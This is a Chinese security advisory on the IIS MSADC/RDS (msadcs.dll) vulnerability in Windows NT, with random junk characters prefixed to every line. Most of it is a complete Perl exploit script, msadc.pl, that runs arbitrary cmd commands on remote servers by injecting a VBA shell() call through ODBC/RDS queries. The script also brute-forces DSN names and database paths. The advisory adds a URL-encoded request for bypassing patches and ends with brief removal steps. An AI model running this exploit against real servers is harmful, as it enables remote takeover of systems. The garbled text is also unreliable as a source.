IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
D}'g4Ag Ol H{! 涉及程序：
;~T)pG8IS Microsoft NT server
j} XTa[ Q1EY !AV8 描述：
#%z--xuJL 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
#Z<pks2
y D
7 l&L 详细：
L >+g;GJ 如果你没有时间读详细内容的话，就删除:
^;+lsEW c:\Program Files\Common Files\System\Msadc\msadcs.dll
~ K% ]9
有关的安全问题就没有了。
$l-|abLELz f gI.q 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
P`6
T;|VDk 75i
M_e\ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
i@e.Uzn 关于利用ODBC远程漏洞的描述，请参看:
/*p4(D_A d,[.=Jqv[ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ^-{ 1]G: hPr*<2mp 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Sxf|gDC http://www.microsoft.com/security/bulletins/MS99-025faq.asp !e@G[%k rubqk4 这里不再论述。
}'$ 6EgX GlP
[: 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
{:m5<6?x) dVc;Tt /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
q# gZ\V$I 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
;5^ grr@,4 2 !f0!<te FQNhn+A #将下面这段保存为txt文件，然后: "perl -x 文件名"
zMs]9o g`)3m,\ #!perl
84L!r #
qY\zZ # MSADC/RDS 'usage' (aka exploit) script
(y|{^@ #
@z"Zj 3ti # by rain.forest.puppy
^ L'8: #
K+2bN KZ0 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Pc{D, /EpR # beta test and find errors!
lMAmico !jY/}M~F1 use Socket; use Getopt::Std;
heoOOP(# getopts("e:vd:h:XR", \%args);
SFoF]U09 vM~/|)^0sW print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
i 0/gyK s([9 /ED if (!defined $args{h} && !defined $args{R}) {
Fp4?/ -] print qq~
*E:w377<} Usage: msadc.pl -h <host> { -d <delay> -X -v }
W093rNF~ -h <host> = host you want to scan (ip or domain)
d=WC1" -d <seconds> = delay between calls, default 1 second
qyl~*r* -X = dump Index Server path table, if available
]_I<-}?; -v = verbose
%8/Gsu; -e = external dictionary file for step 5
% \N.m/5 //@_`. Or a -R will resume a command session
\<|a>{`7]i (ii 5p nq ~; exit;}
}#z E`IT nQK@Uy5Yr $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
2T5@~^:7u if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
s=#IoNh if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
qM3^)U2 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
X0b :Oiw $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
: i0xer if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
a8M.EFa: DamLkkoA
if (!defined $args{R}){ $ret = &has_msadc;
& =|W95 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
w3Aq[1U0 9 pE)S^P print "Please type the NT commandline you want to run (cmd /c assumed):\n"
%8`zaa . "cmd /c ";
95(c{
l/ $in=<STDIN>; chomp $in;
GiHJr1 $command="cmd /c " . $in ;
^i&Qr+v ;nLQ? eS\ if (defined $args{R}) {&load; exit;}
Z] $yuM Cih} print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
N;A1e@bP &try_btcustmr;
rsBF\(3 b~ e;x`C print "\nStep 2: Trying to make our own DSN...";
GW'=/
z7 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
6v GcM3M Gcg`Knr print "\nStep 3: Trying known DSNs...";
N\H{p %8 &known_dsn;
\ ^EjE eC9~
wc print "\nStep 4: Trying known .mdbs...";
M7yJ2u <Ty &known_mdb;
M<7 <L Bx
E1Ky8@A if (defined $args{e}){
aFo%B; 8 m print "\nStep 5: Trying dictionary of DSN names...";
6`NsX &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
*Dh.'bB! T1PWFw\GH print "Sorry Charley...maybe next time?\n";
b9 EJLD exit;
+>z/5 4R 51`w.ri ##############################################################################
R- `{W:S $f>WR_F sub sendraw { # ripped and modded from whisker
)U<4ul sleep($delay); # it's a DoS on the server! At least on mine...
yN{Ybp my ($pstr)=@_;
St|sUtj<r socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
[lS'GszA die("Socket problems\n");
|:!#k A if(connect(S,pack "SnA4x8",2,80,$target)){
-i Bu:WyY$ select(S); $|=1;
mwb kXy;8 print $pstr; my @in=<S>;
.^@+$} select(STDOUT); close(S);
WSDNTfpI return @in;
_< ;#= l } else { die("Can't connect...\n"); }}
wVE"nN# SZG8@ !_}7 ##############################################################################
BOL _kp" 3I:DL#f sub make_header { # make the HTTP request
%Ts efs?_ my $msadc=<<EOT
FD| R4 V*3 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
G D [~4G User-Agent: ACTIVEDATA
n$`Nx\ v Host: $ip
H=X>o.iVqi Content-Length: $clen
zF) _t S Connection: Keep-Alive
m>:%[vm ddnWr"_ ADCClientVersion:01.06
}C" #b\A2 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
5 F^,7A4I0 NWCnt,FlY --!ADM!ROX!YOUR!WORLD!
l[ @\!;| Content-Type: application/x-varg
iCAd7=o Content-Length: $reqlen
ih +kh7J- b4%IyJr EOT
#l;Ekjfz ; $msadc=~s/\n/\r\n/g;
I_pA)P*Q(6 return $msadc;}
0)ST_2Ci +Ya-h~7;g# ##############################################################################
C&e % Pa-fee sub make_req { # make the RDS request
`9K'I-hv<8 my ($switch, $p1, $p2)=@_;
_tjFb_}Q
my $req=""; my $t1, $t2, $query, $dsn;
3J'a Y#]Y$n if ($switch==1){ # this is the btcustmr.mdb query
W:rzfO.`Z $query="Select * from Customers where City=" . make_shell();
DT 9i<kl $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
C
2oll-kN $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
^D.B^BR !+>yCy$~_ elsif ($switch==2){ # this is general make table query
-v jjcyT t $query="create table AZZ (B int, C varchar(10))";
JAB]kNvI $dsn="$p1";}
}=f}@JlFB <V6#)^Or elsif ($switch==3){ # this is general exploit table query
JH)&Ca >S $query="select * from AZZ where C=" . make_shell();
r4D66tF $dsn="$p1";}
_R5^4 -Qe ;F5B)&/B elsif ($switch==4){ # attempt to hork file info from index server
,\=u(Y\I[ $query="select path from scope()";
<5$= Ta $dsn="Provider=MSIDXS;";}
<NJ 7mR} L~mL9 [( , elsif ($switch==5){ # bad query
u'32nf? $query="select";
V wC, +B $dsn="$p1";}
jC\R 8_ ^< % w'*gR $t1= make_unicode($query);
U_VD* F4Bv $t2= make_unicode($dsn);
k*M{?4 $req = "\x02\x00\x03\x00";
YRYrR|I $req.= "\x08\x00" . pack ("S1", length($t1));
n53} 79Uiz $req.= "\x00\x00" . $t1 ;
aY {. $req.= "\x08\x00" . pack ("S1", length($t2));
V 9<[v?.\ $req.= "\x00\x00" . $t2 ;
7# g C(&\A $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
F `u{'w:Hv return $req;}
yv'rJI~ Ps UBU(@T( ##############################################################################
3 ZB;-F5v H/, tE0ZV sub make_shell { # this makes the shell() statement
b-O4IDIT return "'|shell(\"$command\")|'";}
?` `+ OH OOk53~2id ##############################################################################
1:>RQPXcWv D 'u+3 sub make_unicode { # quick little function to convert to unicode
O'wN4 qb=F my ($in)=@_; my $out;
4h~Oj
y16& for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
L7jz^g^ return $out;}
pt0H*quwI ol[{1 KT{ ##############################################################################
J,~)9Kh$ 5#d( _ sub rdo_success { # checks for RDO return success (this is kludge)
2l!"OiB. P my (@in) = @_; my $base=content_start(@in);
*|=&MU*+ if($in[$base]=~/multipart\/mixed/){
r?[mn^Bo 5 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
tICx Ap: return 0;}
'[juPI(! eq@ v2o7 ##############################################################################
a"EQldm|d "QlCcH`g sub make_dsn { # this makes a DSN for us
"RShsJZMH my @drives=("c","d","e","f");
M" _Xa Vl print "\nMaking DSN: ";
2i>xJMW foreach $drive (@drives) {
T @RzY2tz print "$drive: ";
@DUdgPA my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
)0GnTB;5Z "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
O]PfQ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
FF_$)%YUp $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
XsR%_eT return 0 if $2 eq "404"; # not found/doesn't exist
+2?0]6EQ if($2 eq "200") {
jO uv\$ foreach $line (@results) {
Y3Qq'FN!I return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
.( Pe1pe } return 0;}
sO FSBCk ##############################################################################
J -QQ!qa0 e6_.ID'3 sub verify_exists {
2;&13%@! my ($page)=@_;
!
\gRXP} my @results=sendraw("GET $page HTTP/1.0\n\n");
oqY?#p/ return $results[0];}
Xoik%T- b%_QL3 m6 ##############################################################################
Q3/q%#q> 9M!_D?+ P? sub try_btcustmr {
34?yQX{ my @drives=("c","d","e","f");
~/#?OLj(T my @dirs=("winnt","winnt35","winnt351","win","windows");
ke4 q$pD L;f=\q"g foreach $dir (@dirs) {
JDhA{VN6 print "$dir -> "; # fun status so you can see progress
j)]'kg foreach $drive (@drives) {
cPN 7^* print "$drive: "; # ditto
An yFg)a< $reqlen=length( make_req(1,$drive,$dir) ) - 28;
P! 3 $RO $reqlenlen=length( "$reqlen" );
5m bs0GL $clen= 206 + $reqlenlen + $reqlen;
JZv]tJWq Q O?ha'Sl my @results=sendraw(make_header() . make_req(1,$drive,$dir));
/9yiMmr5W if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
{&;b0'!Tf else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
L.Lt9W2f i pts}? ##############################################################################
cp2fD n HdLkof2i sub odbc_error {
7]^ } my (@in)=@_; my $base;
I^wj7cFo5 my $base = content_start(@in);
FU [,,a0<< if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
[@y=% \%R $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
XnY}dsS O $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]_=HC5" $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
c,-x}i0c return $in[$base+4].$in[$base+5].$in[$base+6];}
(o:Cxh V print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
j K=*~I print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
(G"qIw
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
* c%@f<R~ A8RT3OiXA ##############################################################################
(gf\VYM-7 FEZ6X sub verbose {
KGWENX_U my ($in)=@_;
q %'ovX(dm return if !$verbose;
395o[YZx* print STDOUT "\n$in\n";}
$ i&$ZdX `kv$B3 ##############################################################################
I L=v[)en4 Gzfb|9 ,q sub save {
R] [M_ r my ($p1, $p2, $p3, $p4)=@_;
hHg
g H4T open(OUT, ">rds.save") || print "Problem saving parameters...\n";
&59#$LyH`% print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
6^aYW#O<Ua close OUT;}
*~cs8<.!1 e>> G4g ##############################################################################
ICTtubjV" B5cyX*! ? sub load {
'; dW'Uwc my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
E 5t +;vL~ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
"^ = [*i @p=<IN>; close(IN);
7
b. -& , $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
h.9Lh ;j $target= inet_aton($ip) || die("inet_aton problems");
_%2Umy| print "Resuming to $ip ...";
^sOm7S { $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
nMa^Eq# if($p[1]==1) {
OT& E)eR $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
cMWO_$ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
D{4hNO my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
j>Z]J'P if (rdo_success(@results)){print "Success!\n";}
{^kG<v.vV else { print "failed\n"; verbose(odbc_error(@results));}}
HV9Sd JOf elsif ($p[1]==3){
eE{L>u if(run_query("$p[3]")){
$.N~AA~0 print "Success!\n";} else { print "failed\n"; }}
<ut DZ#k elsif ($p[1]==4){
D,n}Qf!GYk if(run_query($drvst . "$p[3]")){
M96( Rg print "Success!\n"; } else { print "failed\n"; }}
Wh Zaq exit;}
]Z-oUO
Z<k w~U`+2a3 ##############################################################################
$vLV<
y07 6 XAr8mw9 sub create_table {
KY`96~z my ($in)=@_;
rH9}nL $reqlen=length( make_req(2,$in,"") ) - 28;
{&#~ t4 $reqlenlen=length( "$reqlen" );
.G_3blE; $clen= 206 + $reqlenlen + $reqlen;
!"J # ,e| my @results=sendraw(make_header() . make_req(2,$in,""));
V" H 7zx return 1 if rdo_success(@results);
k<| l \]w my $temp= odbc_error(@results); verbose($temp);
!NYM(6!( return 1 if $temp=~/Table 'AZZ' already exists/;
'
f$L return 0;}
:#[_Osmf( & fSc{/ ##############################################################################
6eT'[Umx !1'-'Q@f sub known_dsn {
.Sr:" S rT # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
p R wGv my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
vif8 {S "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
0 BCGJFZ{ "banner", "banners", "ads", "ADCDemo", "ADCTest");
E^ok` wfO I26gGp foreach $dSn (@dsns) {
[-t> G!) print ".";
6#)Jl next if (!is_access("DSN=$dSn"));
9V;$v if(create_table("DSN=$dSn")){
'n[+r}3 print "$dSn successful\n";
vzcBo% if(run_query("DSN=$dSn")){
\`/E
!ub print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Z SRR lkU print "Something's borked. Use verbose next time\n";}}} print "\n";}
U>_IYT
6
r.H8 ##############################################################################
ZjZh z` %i&/$0.8 sub is_access {
f5aF6FBH my ($in)=@_;
7y)=#ZG'R $reqlen=length( make_req(5,$in,"") ) - 28;
R6Zj= l[ $reqlenlen=length( "$reqlen" );
}@14E-N= $clen= 206 + $reqlenlen + $reqlen;
+lW}i xt my @results=sendraw(make_header() . make_req(5,$in,""));
O<1vSav!K my $temp= odbc_error(@results);
Fi'M"^:r { verbose($temp); return 1 if ($temp=~/Microsoft Access/);
l+2c j?X return 0;}
0TO_1 0D nU&NopD+*G ##############################################################################
K3rBl!7v 7-d} pgVK sub run_query {
@fqV0l!GR my ($in)=@_;
H^D
3NuUC $reqlen=length( make_req(3,$in,"") ) - 28;
j /H>0 ^ $reqlenlen=length( "$reqlen" );
,\lY Px\P[ $clen= 206 + $reqlenlen + $reqlen;
0+}EA[ my @results=sendraw(make_header() . make_req(3,$in,""));
DD!MGf/ return 1 if rdo_success(@results);
TCHqe19? my $temp= odbc_error(@results); verbose($temp);
:}@C9pqr2 return 0;}
Dxt),4 %P *N-;V|{ ##############################################################################
O 3kg kmlG3hO R, sub known_mdb {
+M'aWlPg, my @drives=("c","d","e","f","g");
U*3A M_w my @dirs=("winnt","winnt35","winnt351","win","windows");
c62dorDqy my $dir, $drive, $mdb;
ME$2P!o my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
qoC]#M$oo# `^7:7Wr]= # this is sparse, because I don't know of many
fJN*s my @sysmdbs=( "\\catroot\\icatalog.mdb",
iHAU|`'N) "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
ZV'$k\ "\\system32\\certmdb.mdb",
o84UFhm "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
0xJ7M. b?_e+:\UV my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
\ Md
3 "\\cfusion\\cfapps\\forums\\forums_.mdb",
'|l%rv "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
0QMTIAW6h "\\cfusion\\cfapps\\security\\realm_.mdb",
GX4QaT% "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Y^52~[w~ "\\cfusion\\database\\cfexamples.mdb",
}]AT _b h, "\\cfusion\\database\\cfsnippets.mdb",
bIgh@ = 2 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
D.'h ?^ kA "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
j-7u>s-l "\\cfusion\\brighttiger\\database\\cleam.mdb",
^ SZw`] "\\cfusion\\database\\smpolicy.mdb",
jY7=m Ad "\\cfusion\\database\cypress.mdb",
lT 8#bA "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
pO%{'%RA "\\website\\cgi-win\\dbsample.mdb",
)4l>XlQ& "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
,7GWB:Sk "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Ju!(gh ); #these are just
qn B<k,8T foreach $drive (@drives) {
N X pmT4 foreach $dir (@dirs){
5?WYsj"
foreach $mdb (@sysmdbs) {
HBH$
print ".";
=#qZ3 Qz_ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
<,"4k&0Q>V print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
(n,u|}8Y if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
tz2 6=8 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
K]c4"JJ } else { print "Something's borked. Use verbose next time\n"; }}}}}
0}{'C5 E<>*( x/\e foreach $drive (@drives) {
"#yJHsu] foreach $mdb (@mdbs) {
? B@&#E!/f print ".";
zN #*G
i' if(create_table($drv . $drive . $dir . $mdb)){
&-%>q B|* print "\n" . $drive . $dir . $mdb . " successful\n";
6i .gyD if(run_query($drv . $drive . $dir . $mdb)){
8) N@qUV print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
c.A Yx I" } else { print "Something's borked. Use verbose next time\n"; }}}}
-w1@!Sdd }
#] CFA9 z k|xtrW`qo; ##############################################################################
&?0: v`4Y #`(WUn0H? sub hork_idx {
9T7e\<8"vC print "\nAttempting to dump Index Server tables...\n";
O:'?n8rWL print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
S${Zzt" $reqlen=length( make_req(4,"","") ) - 28;
('O}&F1 $reqlenlen=length( "$reqlen" );
7ER|' j $clen= 206 + $reqlenlen + $reqlen;
gn8 |/ev my @results=sendraw2(make_header() . make_req(4,"",""));
L[g0&b %%- if (rdo_success(@results)){
+-<}+8G; my $max=@results; my $c; my %d;
|F[=b'? for($c=19; $c<$max; $c++){
eg/<[ A: $results[$c]=~s/\x00//g;
-`b8T0?oK $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
|l 0Ea $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
<q
(z>*-e $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
O s&n $d{"$1$2"}="";}
HDVW0QaMu foreach $c (keys %d){ print "$c\n"; }
#>[a{<;Kn } else {print "Index server doesn't seem to be installed.\n"; }}
0nJE/JZ D}3T|N ##############################################################################
M;w?[yEZ $P z`$~ sub dsn_dict {
g7\,{Bw#E open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Bc7V)Y K while(<IN>){
D&G"BZx| $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
6at1bQ$ next if (!is_access("DSN=$dSn"));
YZ c>dE if(create_table("DSN=$dSn")){
5cJ !" print "$dSn successful\n";
({s6eqMhDd if(run_query("DSN=$dSn")){
/./"x~@ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
JyL a#\ R print "Something's borked. Use verbose next time\n";}}}
/E;y,o75 print "\n"; close(IN);}
[XVEBA4GI V U`OO$,W ##############################################################################
Z@a9mFI? T9W`?A sub sendraw2 { # ripped and modded from whisker
k%s_0
@ sleep($delay); # it's a DoS on the server! At least on mine...
<%.5hCTp97 my ($pstr)=@_;
6W[}$#w socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
mw$r$C{ die("Socket problems\n");
^I8Esl8 if(connect(S,pack "SnA4x8",2,80,$target)){
Vj<:GRNQ,d print "Connected. Getting data";
YB<*"HxM)} open(OUT,">raw.out"); my @in;
z GKyN@o select(S); $|=1; print $pstr;
7ELMd{CD while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
~Q {QM: k close(OUT); select(STDOUT); close(S); return @in;
Kl7WQg,XOi } else { die("Can't connect...\n"); }}
L`f^y;Y. 7tUA>;++ ##############################################################################
'c2W}$q qm/ Q65>E sub content_start { # this will take in the server headers
^;!0j9"* : my (@in)=@_; my $c;
j',W 64 for ($c=1;$c<500;$c++) {
P-F)%T[ if($in[$c] =~/^\x0d\x0a/){
)?_#gLrE6 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
rX_@Ihv' else { return $c+1; }}}
\ (226^|j return -1;} # it should never get here actually
'z76 Sa ! cKz7?w ##############################################################################
D\IjyZ-O S$ KFf=0 sub funky {
afjtn_IB my (@in)=@_; my $error=odbc_error(@in);
EY*(Bw if($error=~/ADO could not find the specified provider/){
u]}s)SmDk print "\nServer returned an ADO miscofiguration message\nAborting.\n";
J>fQN W!{ exit;}
(c0A.L)
if($error=~/A Handler is required/){
}Zl&]e print "\nServer has custom handler filters (they most likely are patched)\n";
R $; n)_H exit;}
/M b"V5S(W if($error=~/specified Handler has denied Access/){
OL4z%mDZi print "\nServer has custom handler filters (they most likely are patched)\n";
8X bA'% o exit;}}
+`3!I z-M3 ##############################################################################
2WUT/{:X * #TUGfwy sub has_msadc {
Y*mbjyt[?X my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
,{\Bze1fn my $base=content_start(@results);
f~ }H return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
6e &>rq6C return 0;}
~-wPP{! [@yV!#2 ########################
2^?:&1: i2 ~ ^e W}XRI 解决方案：
'X shmZ0& 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
c- .t>r & 2、移除web 目录: /msadc
